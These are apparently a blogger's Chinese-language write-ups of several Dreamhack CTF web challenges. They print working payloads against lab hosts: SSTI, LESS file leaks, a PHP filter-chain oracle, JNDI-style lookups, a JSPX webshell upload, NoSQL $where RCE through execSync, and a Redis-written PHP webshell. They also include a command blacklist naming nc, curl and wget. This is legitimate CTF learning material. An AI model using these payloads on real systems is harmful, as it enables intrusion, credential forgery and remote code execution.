1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 # blacklist.txt ? ! " ' & ( ) * , - . : ; < = > @ [ ] ^ $ % ~ 7z dd ag apk apt awk base64 bash bin bzip2 cd chmod chown cp cron curl cut dev dig dir disown docker echo env eval exec export file find flag fl get grep gunzip gzip head hexdump host ifconfig ip kill kubectl ln ls mkdir mv nc ncat netcat netstat node nohup nmap nslookup od onestar perl php ping pip pip3 podman popen printenv printf ps pwd python read readlink reboot realpath rm rmdir route scp sed set sftp sh shutdown sleep socat sort ss stat strings system tar tcp tcpdump tee timeout top touch tr traceroute txt uniq unset unzip uptime wget xargs xxd xz zip
stolen_2.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 package com.example.upload;import com.opensymphony.xwork2.ActionSupport;import org.apache.struts2.ServletActionContext;import java.io.*;import java.nio.charset.StandardCharsets;import java.util.ArrayList;import java.util.Collections;import java.util.List;public class CheckAction extends ActionSupport { private List<String> allFiles; private List<String> shFiles; private List<String> shResults; private String message; private boolean run; public String execute () { javax.servlet.http.HttpServletResponse resp = org.apache.struts2.ServletActionContext.getResponse(); if (resp != null ) { resp.setHeader("Cache-Control" , "no-store, no-cache, must-revalidate, max-age=0" ); resp.setHeader("Pragma" , "no-cache" ); resp.setDateHeader("Expires" , 0 ); } javax.servlet.http.HttpServletRequest req = org.apache.struts2.ServletActionContext.getRequest(); if (req != null && !"POST" .equalsIgnoreCase(req.getMethod())) { this .run = false ; } String rootPath = ServletActionContext.getServletContext().getRealPath("/" ); File root = new File (rootPath); List<String> all = new ArrayList <>(); List<File> sh = new ArrayList <>(); walk(root, root, all, sh); Collections.sort(all, String.CASE_INSENSITIVE_ORDER); this .allFiles = all; List<String> shNames = new ArrayList <>(); for (File f : sh) shNames.add(toRel(root, f)); Collections.sort(shNames, String.CASE_INSENSITIVE_ORDER); this .shFiles = shNames; this .shResults = new ArrayList <>(); if (run) { File sec = new File (root, "security_check.sh" ); if (sec.exists() && sec.isFile()) { try { ScriptResult r = runScript(sec, true ); shResults.add(sec.getName() + " → exit code: " + r.exitCode + "\nOutput:\n" + r.output.trim()); boolean ok = r.output.toLowerCase().contains("nice" ); if (ok) { File baseDir = sec.getParentFile() != null ? sec.getParentFile() : root; List<File> others = listShInDir(baseDir, "security_check.sh" ); for (File f : others) { try { ScriptResult or = runScript(f, false ); shResults.add(f.getName() + " → exit code: " + or.exitCode + "\nOutput:\n" + or.output.trim()); } catch (Exception e) { shResults.add(f.getName() + " → execution failed: " + e.getMessage()); } } for (File f : others) { if (f.exists() && f.isFile()) { if (!f.delete()) { try { f.setWritable(true , false ); } catch (Throwable ignored) {} f.delete(); } } } } } catch (Exception e) { shResults.add("security_check.sh → execution failed: " + e.getMessage()); } } else { shResults.add("security_check.sh not found" ); } List<String> all2 = new ArrayList <>(); List<File> sh2 = new ArrayList <>(); walk(root, root, all2, sh2); Collections.sort(all2, String.CASE_INSENSITIVE_ORDER); this .allFiles = all2; this .message = "File check Done!" ; } else { this .message = "Press the button to run integrity check." ; } return SUCCESS; } private void walk (File base, File dir, List<String> all, List<File> sh) { File[] list = dir.listFiles(); if (list == null ) return ; for (File f : list) { if (f.isDirectory()) { walk(base, f, all, sh); } else { String rel = toRel(base, f); all.add(rel); if (f.getName().toLowerCase().endsWith(".sh" )) sh.add(f); } } } private String toRel (File base, File f) { String bp = base.getAbsolutePath(); String fp = f.getAbsolutePath(); if (!bp.endsWith(File.separator)) bp = bp + File.separator; return fp.startsWith(bp) ? fp.substring(bp.length()) : f.getName(); } private List<File> listShInDir (File dir, String excludeName) { List<File> out = new ArrayList <>(); File[] arr = dir.listFiles(); if (arr == null ) return out; for (File f : arr) { if (f.isFile() && f.getName().toLowerCase().endsWith(".sh" )) { if (excludeName != null && f.getName().equalsIgnoreCase(excludeName)) continue ; out.add(f); } } return out; } private ScriptResult runScript (File script, boolean isSecurityCheck) throws IOException, InterruptedException { String nm = script.getName(); if (isSecurityCheck) { if (nm == null || !nm.toLowerCase().contains("security_check" )) { return new ScriptResult (1 , "Backdoor Detected!" ); } } else { if (nm == null || !nm.toLowerCase().endsWith(".sh" )) { return new ScriptResult (1 , "Backdoor Detected!" ); } } ProcessBuilder pb = new ProcessBuilder ("/bin/bash" , script.getAbsolutePath()); pb.directory(script.getParentFile()); pb.redirectErrorStream(true ); Process p = pb.start(); StringBuilder out = new StringBuilder (); try (BufferedReader br = new BufferedReader (new InputStreamReader (p.getInputStream(), StandardCharsets.UTF_8))) { String line; while ((line = br.readLine()) != null ) out.append(line).append("\n" ); } int code = p.waitFor(); return new ScriptResult (code, out.toString()); } private static class ScriptResult { int exitCode; String output; ScriptResult(int c, String o){ this .exitCode = c; this .output = o; } } public void setRun (boolean run) { this .run = run; } public boolean isRun () { return run; } public List<String> getAllFiles () { return allFiles; } public List<String> getShFiles () { return shFiles; } public List<String> getShResults () { return shResults; } public String getMessage () { return message; } }
还有一个File Integrity Check,会检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 blacklist.txt browse.jsp check.jsp flag.txt index.jsp META-INF/MANIFEST.MF META-INF/maven/com.example/upload/pom.properties META-INF/maven/com.example/upload/pom.xml META-INF/war-tracker nohack.jsp nohere.jsp notfound.jsp ROOT/index.html ROOT/nohack.jsp ROOT/web.xml security_check.sh success.jsp uploads/manual.txt uploads/stolen_1.txt uploads/stolen_2.txt view.jsp WEB-INF/blacklist.txt WEB-INF/classes/com/example/upload/BlacklistFilter.class WEB-INF/classes/com/example/upload/CheckAction$ScriptResult.class WEB-INF/classes/com/example/upload/CheckAction.class WEB-INF/classes/com/example/upload/DotSegmentsGuardFilter.class WEB-INF/classes/com/example/upload/ListUploadsAction.class WEB-INF/classes/com/example/upload/PrettyUrlFilter.class WEB-INF/classes/com/example/upload/UploadAction.class WEB-INF/classes/com/example/upload/UploadsInterceptFilter.class WEB-INF/classes/com/example/upload/ViewFileAction.class WEB-INF/classes/struts.xml WEB-INF/lib/commons-fileupload-1.4.jar WEB-INF/lib/commons-io-2.11.0.jar WEB-INF/lib/commons-lang3-3.8.1.jar WEB-INF/lib/freemarker-2.3.31.jar WEB-INF/lib/javassist-3.20.0-GA.jar WEB-INF/lib/log4j-api-2.12.4.jar WEB-INF/lib/ognl-3.1.29.jar WEB-INF/lib/struts2-core-2.5.30.jar WEB-INF/web.xml
默认输出是:
1 2 3 4 5 security_check.sh → exit code: 0 Output: Security Check Done! Checked .sh: 0 nice
布豪,是Java。Java面前一条曲。
吃力审计一下,如果 security_check.sh 输出包含 “nice”,它会扫描目录下所有的 .sh 文件并执行。
1 if (f.isFile () && f.getName ().toLowerCase ().endsWith (".sh" ))
检查黑名单,发现 tac、tail、more、nl 没有被禁用。反斜杠\没有被禁用,可以转义特殊字符绕过waf。
发现存在 Log4J2 漏洞(CVE-2021-44228),不对,已经修了
我感觉就是 Struts2 CVE-2024-53677 啊,传一个:
然后点一下check。
go run . -url http://host3.dreamhack.games:23581/upload-1.0.0/ -end-point upload.action
CVE-2023-50164 也不行啊😭
CVE-2017-5638 也不行啊😭
输了
Mini Memo A small and cute memo (❁ ‘`❁)
1 2 USER_DATABASE = 'data/users.db' MEMO_DATABASE = 'memos.db'
fuzz了一下,memo本身没法ssti。
1 2 3 4 5 6 7 if len (username) > 10 : flash('Username must be 10 characters or less!' ) return render_template('register.html' ) if len (password) > 10 : flash('Password must be 10 characters or less!' ) return render_template('register.html' )
然后就看到很奇怪的,说是用户名和密码要小于等于10字符,这就很可疑啊。接着审计,发现SQL部分都是用了占位符,排除注入可能。
1 2 3 4 5 6 template_path = f"data/templates/{template} " if template.startswith("/" ) or template.startswith("../" ): template_path = f"data/templates/default" template_path = os.path.normpath(template_path)
审计到这里。这里对传入的template做了简单的过滤,不能以/和../开头,但这根本没用啊。比如我传入templates/../../users.db,通过检测,拼接完是data/templates/templates/../../users.db,os.path.normpath一下就变成data/users.db。
结合前面提到的用户名密码的长度限制,注意到,用户名会直接写入data/users.db,同时可以把data/users.db作为模板,那么用户名就是SSTI的锚点。因为长度有限,那么就使用 {{ config }},先进行信息收集。注册一个用户名是{{ config }}的账号,然后burp改一下template参数,payload如下:
1 title=AA&content=BB&template=templates/../../users.db
访问新建的memo,获得SECRET_KEY(也是flag的前半段):
1 FLAG1:DH{85bbcce15adac36a5682ae6fce4cec7e
使用Flask-Unsign 伪造token
1 2 3 4 5 6 7 flask-unsign --decode --cookie '.eJyrVirKz0lVslIqLU4tUtIBU_GZKUpWhhB2XmIuSLa6Ojk_Ly0zvbZWqRYAu0sRpg.aYS8eg.PReu47xIFS8YkpbVnDC8OLSiB-k' flask-unsign --sign --cookie "{'role': 'admin', 'user_id': 1, 'username': 'admin'}" --secret 'FLAG1:DH{85bbcce15adac36a5682ae6fce4cec7e'
访问/flag,获得后半段:
1 FLAG2:0d2768542a3019bc94b34829f8995f98}
所以完整flag是:
1 DH{85bbcce15adac36a5682ae6fce4cec7e0d2768542a3019bc94b34829f8995f98}
LESSer Cat Description We have released Lesser Cat, which has reduced all features other than cat-related functions!
Use the unique ColorPicker feature to change the cat’s wallpaper color!
※ The rest of the features are under development…
审计 题目提示,LESS模板注入。
发现POST /reset_mail,会写入一个带有重置密码需要的Key的文件./mail.log。目标就是泄露这个文件,重置密码,以admin权限登录。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 function colorPicker (colorDict ){ var css = "" ; for (var key in colorDict){ try { if (!colorDict[key].match (/^#[\w\d]{6}$/ )) return false ; } catch (error){ } css += `@${key} :` + colorDict[key] + ";" ; } css = css + "body{ background-color: @bgcolor; color: @color; }" ; return css; }
可以看到,虽然使用了/^#[\w\d]{6}$/这个正则对传入数据做了检验,但是catch块并没有阻止逻辑继续。如果try内报错,就不会return false,而是继续执行css += `@${key}:` + colorDict[key] + ";";。注意到,JS的数组并没有.match方法,这里是会爆TypeError的。
此外,JavaScript 是弱类型 的,当数组与字符串相加时,数组会自动调用 .toString(),如果这里传入
1 ['#fff; .leak { content: data-uri("mail.log"); }' ]
拼接结果就是
1 @bgcolor :#fff; .leak { content : data-uri("mail.log" ); };
这里的data-uri函数会读取文件并且以URl安全的形式储存,当请求它时,就会读取文件。<文档链接>
Payload:
1 bgColor[]=#ffffff; .leak { content: data-uri("mail.log"); }&fontColor=#000000
先申请重置密码,没有提供前端,直接用 curl 发吧:
1 curl -X POST http://127.0.0.1:3000/reset_mail
执行注入:
1 2 3 curl -X POST http://127.0.0.1:3000/color \ -d "bgColor[]=%23ffffff%3b%20.leak%20%7b%20content%3a%20data-uri(%22mail.log%22)%3b%20%7d" \ -d "fontColor=%23000000"
访问/image.css
1 2 3 4 5 6 7 .leak { content : url ("data:text/plain,fb21ebd8354818399fcd9a3f6781bbcf" ); } body { background-color : #ffffff ; color : #000000 ; }
获得重置密码需要的key。请求/pass_reset重置密码:
1 2 curl -X POST http://127.0.0.1:3000/pass_reset \ -d "password=111&key=fb21ebd8354818399fcd9a3f6781bbcf"
登录:
1 2 3 4 curl -X POST http://127.0.0.1:3000/login \ -d "username=admin&password=111"
Remote 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ➜ ~ curl -X POST http://host3.dreamhack.games:9891/reset_mail Reset Mail Send.% ➜ ~ curl -X POST http://host3.dreamhack.games:9891/color \ -d "bgColor[]=%23ffffff%3b%20.leak%20%7b%20content%3a%20data-uri(%22mail.log%22)%3b%20%7d" \ -d "fontColor=%23000000" ColorPicker Done% ➜ ~ curl http://host3.dreamhack.games:9891/image.css .leak { content: url("data:text/plain,5bd6ae8c9a0a07f5d50a7113f7a9e1ab" ); } body { background-color: color: } ➜ ~ curl -X POST http://host3.dreamhack.games:9891/pass_reset \ -d "password=111&key=5bd6ae8c9a0a07f5d50a7113f7a9e1ab" Reset Done% ➜ ~ curl -X POST http://host3.dreamhack.games:9891/login \ -d "username=admin&password=111" flag{LESSerCat_with_LESSJS_SSTI!}%
补 看别人的WP,发现
1 @import (inline) "mail.log" ;
也是可以的。算是报错回显吧。
也有的思路是通过@plugin引用外部js,不过机器是不出网的。
jukebox Browse musics…
这题的考点是PHP filter chains: file read from error-based oracle,需要用到这个工具 。确实没遇到过这样的考oracle预言机的题目,这个知识点也是第一次知道。
其实附件刚下载完打开,本地部署的时候就看见docker-compose.yml里的restart: unless-stopped,我当时以为这可能是某个比赛的原题,需要保证稳定。但其实如果有敏感性,这个就能看出考点了。泄露文件的核心在于要让php奔溃,返回Fatal error。
这题我能审计到的,就是绕过协议头检查:
1 2 curl -v -X POST http://127.0.0.1:54321/ \ -d "song_url=php://filter/var=https://google.com/resource=file:///flag.txt"
这样可以直接读取文件,不过waf会检查flag头,也就是DH,如果输出包含它,就会报错Suspicious output!。接下来就是php://filter神奇的地方。
PHP 的过滤器(如 iconv 字符集转换)在处理特定字符时,会有不同的行为,也就是说,反应上的不同本身就可以构成侧信道。通过组合极长的过滤器链(比如几千个 convert.iconv… 的组合),可以让数据在转换过程中发生变化。
这个工具 使用了一种特定的链条组合,使得:
1 2 3 如果文件的第 N 个字符是 'A',经过这几千次转换后,数据流会指数级膨胀,导致PHP OOM崩溃。 如果文件的第 N 个字符不是 'A',数据流就不会膨胀,或者膨胀得很小,PHP 能正常执行完。 ...
其实原理上很像SQL的time-based blind injection,但是sql可以用benchmark或者求笛卡尔积等等方法,php里通过php://filter本身处理的差异这实在太高级了。而且这几乎没法防御吧,这个延迟本身甚至都不是因为逻辑上的分支导致的,除非说加一道waf,数据过长直接阻断。没有很完美的修复手段。
一开始match没设置对,导致fallback到了基于报错时间的攻击,非常之不准啊,要跑相当多次才能确认。
解题流程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit.git cd php_filter_chains_oracle_exploitpython3 filters_chain_oracle_exploit.py \ --target http://host3.dreamhack.games:11404/ \ --parameter song_url \ --file "php://filter/var=https://google.com/resource=file:///flag.txt" \ --verb POST \ --match "Fatal error" [*] The following URL is targeted : http://host3.dreamhack.games:11404/ [*] The following local file is leaked : php://filter/var=https://google.com/resource=file:///flag.txt [*] Running POST requests [*] The following pattern will be matched for the oracle : Fatal error [+] File php://filter/var=https://google.com/resource=file:///flag.txt leak is finished! REh7UEhQX0xGMV9DNE5fRDBfNE5ZVEgxTkc6NkU0WldyVXA0bTFXa28vOUxxdkVTZz09 b'DH{PHP_LF1_C4N_D0_4NYTH1NG:6E4ZWrUp4m1Wko/9LqvESg=='
本地测试,最后一位是跑不出来的,但也就是右大括号。所以flag:
1 DH{PHP_LF1_C4N_D0_4NYTH1NG:6E4ZWrUp4m1Wko/9LqvESg==}
这是LFI吗?好像是的吧。。。?
Fruit Market 注册一个用户,把nickname设置为${env:ADMIN_PASSWORD},登录后,顶部问候语句会泄露Admin的密码,本地靶机是ivtMytf4eStS5bis
分析源码可知,admin的userid是容器启动时随机生成的,admin_${???},这个直接爆破一下也没多少,但其实用处不大?直接看docker日志就可以看到。
1 market-app | 2026-02-06T13:14:38.443Z WARN 1 --- [fms] [ main] com.ctf.fms.InsertAdminRunner : Seeded admin account -> userid='admin_9xh' password='ivtMytf4eStS5bis'
这里我一开始是考虑使用:
1 ${file :UTF -8 :/proc/ 1 /fd/1 }
这个payload作为nickname来泄露启动日志,但是这个东西非常大,而且一直源源不断地涌出,直接把靶机搞崩溃了,这肯定不行啊。所以我感觉还是爆破为主,很快的。
发现有两个上传接口,只有一个实际可控。看到过滤了jsp,但是依然可以上传jspx,传个马试试看:
1 2 3 curl -X POST -H "Cookie: session=.eJyrVirKz0lVslIqLU4tUtIBU_GZKUpWxhB2XmIuSLa6Ojk_Ly0zvbZWqRYAu38RqA.aYS77Q.tqgYbR9eoa9-8UbDAMhmnDkTs7Y; JSESSIONID=F42D0BF29649EB5933B8EB61D107C660" -F "file=@shell.jspx" http://127.0.0.1:8001/admin/upload {"path" :"/uploads/1770383849121_shell.jspx" }
确实可以,不过注意到题目自带了一个马,那么自然也是能用的,不过加载不了蚁剑的payload。
1 http://127.0.0.1:8001/uploads/shell.jsp?cmd=id
curl “http://resource:3000/api/_resource/test?view%5Bmatch%5D%5B%5C$where%5D=this.name==new%2520Date(process.mainModule.require('child_process').execSync('/flag').toString() )”
curl “http://resource:3000/api/_resource/test?view%5Bpath%5D=nutritionProfile&view%5Bmatch%5D%5B%5C$or%5D%5B0%5D%5B%5C$where%5D=throw%2520new%2520Error(process.mainModule.require('child_process').execSync('/flag').toString() )”
没招了,搞了几个小时了😭。这题需要从market-app容器横向打到resource容器,利用mongo容器😵但这resource怎么一打就挂了。。。
phpythonode Description 1 2 3 It is a server that runs three services: php (php-1), python (ssrf), and node (node_api). /readflag Run the binary. This issue is for experienced web hackers.
I’m not a experienced web hacker qwq.
附件不完整,只有部分代码,这。。。感觉vm credit又不保。。。
Host: host3.dreamhack.games Port: 16484/tcp → 8000/tcp 10539/tcp → 3000/tcp For Pwnable Challenges: nc host3.dreamhack.games 16484 For Web Hacking Challenges: http://host3.dreamhack.games:16484/ For Pwnable Challenges: nc host3.dreamhack.games 10539 For Web Hacking Challenges: http://host3.dreamhack.games:10539/
好大一题
获取 Python Flag 1 2 3 4 5 6 7 8 try : FLAG = open ('./flag.txt' , 'r' ).read() except : FLAG = '[**FLAG**]' local_host = '127.0.0.1' local_port = random.randint(1500 , 1800 ) local_server = http.server.HTTPServer((local_host, local_port), http.server.SimpleHTTPRequestHandler)
这没啥好说的,就去ssrf爆破一下端口,读http://127.0.0.1:{port}/flag.txt就好了,有点慢,先看PHP部分。 出来了:
获取 PHP Flag 在 php/index.php 中存在 LFI:
1 include $_GET ['page' ]?$_GET ['page' ].'.php' :'main.php' ;
在 php/view.php 中虽然可以查看文件,但过滤了 “flag” 关键字:
1 2 3 4 5 $file = $_GET ['file' ]?$_GET ['file' ]:'' ;if (preg_match ('/flag|:/i' , $file )){ exit ('Permission denied' ); } echo file_get_contents ($file );
使用Python的ssrf:
1 http://127.0.0.1:80/?page=php://filter/convert.base64-encode/resource=../uploads/flag
解base64再解base64可以获得php部分的flag:
1 2 3 4 <?php $flag = 'This is php-1 flag'; ?> can you see $flag?
获取 Node.js Flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 app.get ('/show_logs' , function (req, res ) { var log_query = req.query .log_query ; try { log_query = log_query.split ('/' ); if (log_query[0 ].toLowerCase () != 'get' ) { log_query[0 ] = 'get' ; } log_query[1 ] = log_query.slice (1 ) } catch (err) { } try { redis_client.send_command (log_query[0 ], log_query[1 ], function (err, result ) { if (err) { res.send ('ERR' ); } else { res.send (result); } }) } catch (err) { res.send ('try /show_logs?log_query=get/log_info' ) } });
又是catch错误没有处理,这周遇到两题了,不过那题是go,但也是数组报错。如果传入数组,log_query = log_query.split('/');就直接报错了,跳过if那里的关键词检测,到了catch,又没有抛出异常,导致这个log_query被send_command了。
先访问一下http://host3.dreamhack.games:10539/拿个cookie:
1 session=.eJyrVirKz0lVslJKTMnNzFPSUSotTi2Kz0xRsjKEsPMScxHStQBzLw-T.aYS-hA.aPwQWjLExmfq-tguYu8D9DzEOa0; connect.sid=s%3AdxEGksUKJsHSPX73ruHiJzWVtsv9Vsit.2Hd7YP9Bi%2FmJuZ8XRDxzmPbTB3kL95hYY8fQjwpNtUk
这里的Session ID就是dxEGksUKJsHSPX73ruHiJzWVtsv9Vsit
我们需要将 Session 数据设置为:
1 { "cookie" : { "originalMaxAge" : null , "expires" : null , "httpOnly" : true , "path" : "/" } , "userid" : "admin" }
payload就是:
1 GET /show_logs?log_query[0]=set&log_query[1][0]=sess:dxEGksUKJsHSPX73ruHiJzWVtsv9Vsit&log_query[1][1]={"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}
返回OK,然后请求/flag,拿到flag:
RCE 不过以上的flag都没用啊,最终的flag是需要RCE执行/readflag的。然后靶机内部还有一个redis,估计是需要利用redis写php马。
先设置redis目录,最保险的就是/tmp了,不会有权限问题:
1 /show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dir&log_query[1][2]=/tmp
设置文件名:
1 /show_logs?log_query[0]=config&log_query[1][0]=set&log_query[1][1]=dbfilename&log_query[1][2]=shell.php
写文件:
1 /show_logs?log_query[0]=set&log_query[1][0]=myshell&log_query[1][1]=<?php system($_GET['cmd']); ?>
保存:
1 /show_logs?log_query[0]=save
index.php会自动拼接.php,所以只需要引用shell就可以了,通过Python的ssrf对php操一个LFI的作:
1 http://127.0.0.1:80/?page=../../../../tmp/shell&cmd=/readflag
OK图片base64丢厨子,拿到flag:
1 DH{d7e17d0a5c5f4886c33ded622bec0df5}
复盘 我感觉这题出得蛮好,三个服务三个fake flag引导你一步一步渗透内网,不然真的没啥头绪,一上来要想到 node命令执行操作redis写马用python的ssrf对php进行lfi实现rce ,挺难的,但是给了一个铺垫就很有意思了,考的知识点是很清晰的。难度主要在node的那个payload构造,其他都是固定操作。
附件不给完整题目得喷,得看着Dockerfile和docker-entrypoint.sh推测靶机样子
dreamschool Description dreamschool, a school community for all schools around the world
Hello! I am DreamSchool, which manages a community for all schools from elementary school to university 💙
I heard that something strange is happening on Dream University’s secret bulletin board, but the board is locked, so I can’t even see it as an administrator 😢
Be sure to find out what’s happening at Dream University!
审计&解题 先看Dockerfile,有一句非常奇怪
1 RUN sed -i.bak '143,146d' /usr/local/lib/python3.9/site-packages/jwt/algorithms.py
那么自然要去检查一下requirements.txt的PyJWT是什么版本,好的,是PyJWT==1.7.1,那么大概率要考JWT伪造了。
观察error.py,学校名称存在SSTI。注册一个学校名为{{ config }}的账户,登陆后触发404,泄漏:
1 /s/<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'\xa0\xce6])\xe1\x87\x15\xb6\x8cO\x9a\xf1\x9a\xeep\xab\xd2)t\xe5|\xd1\xb1\xe1;\x9c\x7f\n_a\x1c', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'AUTH_PUBLIC_KEY': b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHuLShSG/jR1btqcHDR4xI/MLL\nUnwSX8QuXc0f9OAGKaJndBu9Ndu5VZZEuiHOVGmwzdiCMHONcu1EGLfNOfD0eAoh\nnAoyvjpa5WKELYg8XUh5KzmQbYMzCvXhjAeuCurK7jrgV7Rdg3GcMjmoL n28keE\nRSYxWVbDY59Ukb25XwIDAQAB\n-----END PUBLIC KEY-----', 'FLAG_SCHOOL': '드림대학교', 'SQLALCHEMY_DATABASE_URI': 'sqlite:////app/database.db', 'TIMEZONE': 'Asia/Seoul'}>'><Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': b'\xa0\xce6])\xe1\x87\x15\xb6\x8cO\x9a\xf1\x9a\xeep\xab\xd2)t\xe5|\xd1\xb1\xe1;\x9c\x7f\n_a\x1c', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'AUTH_PUBLIC_KEY': b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHuLShSG/jR1btqcHDR4xI/MLL\nUnwSX8QuXc0f9OAGKaJndBu9Ndu5VZZEuiHOVGmwzdiCMHONcu1EGLfNOfD0eAoh\nnAoyvjpa5WKELYg8XUh5KzmQbYMzCvXhjAeuCurK7jrgV7Rdg3GcMjmoL n28keE\nRSYxWVbDY59Ukb25XwIDAQAB\n-----END PUBLIC KEY-----', 'FLAG_SCHOOL': '드림대학교', 'SQLALCHEMY_DATABASE_URI': 'sqlite:////app/database.db', 'TIMEZONE': 'Asia/Seoul'}>(으)로</a>
一大坨,只需要关注AUTH_PUBLIC_KEY就可以了:
1 2 3 4 5 6 -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHuLShSG/jR1btqcHDR4xI/MLL UnwSX8QuXc0f9OAGKaJndBu9Ndu5VZZEuiHOVGmwzdiCMHONcu1EGLfNOfD0eAoh nAoyvjpa5WKELYg8XUh5KzmQbYMzCvXhjAeuCurK7jrgV7Rdg3GcMjmoL n28keE RSYxWVbDY59Ukb25XwIDAQAB -----END PUBLIC KEY-----
Dockerfile删除的/usr/local/lib/python3.9/site-packages/jwt/algorithms.py刚好是 PyJWT 1.7.1 中防止非对称公钥被用作 HMAC 密钥的检查代码(CVE-2022-29217),那我肯定不想删这个东西,就用之前的脚本生成jwt好了。另外需要注意,上面的AUTH_PUBLIC_KEY中有个空格,需要换成+。
之后,,,之后的,,,居然被ai一把梭了😨,他给了我一个exp,跑了一下直接爆flag了。。。
那么结合它的exp来分析一下流程吧。考点是UUIDv1 预测 。UUIDv1 基于时间戳。由于代码中是连续调用,两个 UUID 的时间戳差异极小,也就是说可以通过伪造的 Token 访问 드림대학교 主页,获取Free Board的 board_id,然后通过微调时间戳(增加偏移量)来爆破Secret Board的 board_id。
秘密版块虽然开启了 MFA,但 school_board 路由(/s//)中只检查了 visible 属性,没有再次校验 MFA 状态。只要拥有드림대학교身份,并且知道secret_board_id,即可直接访问版块并读取flag。
有意思是,前两天刚刚翻到了LamentXU的这篇文章-聊聊python中的UUID安全 。了解到Python的UUIDv1实现是基于PRNG的伪随机数。”那么一次UUIDv1就会泄露14个字节,根据MT19937的攻击方式。我们需要连续624*32//(14)+1=1427次泄露就可以预测下一个生成的clock_seq”。嗯,看不懂。
web-alasql Description The alaserver included in the nodejs alasql package works. Flags /flag can be obtained by running. This issue is for experienced web hackers.
解题 附件给了docker相关的东西 docker-entrypoint.sh
1 2 3 #!/bin/bash su node -s /bin/sh -c "while [ 1 ];do alaserver;done"
Dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 FROM node:dubnium-alpineADD ./deploy /app WORKDIR /app RUN apk add --no-cache musl-dev gcc \ && npm install -g alasql@0.6.0 && sed -i 's/127.0.0.1/0.0.0.0/g' /usr/local/lib/node_modules/alasql/bin/alaserver.js\ && mv docker-entrypoint.sh /usr/local/bin/\ && gcc /app/flag.c -o /flag \ && chmod 111 /flag && rm /app/flag.c ENTRYPOINT ["sh" , "/usr/local/bin/docker-entrypoint.sh" ]
参考这篇文章https://security.snyk.io/package/npm/alasql/0.6.0
他给了一个Poc,如下
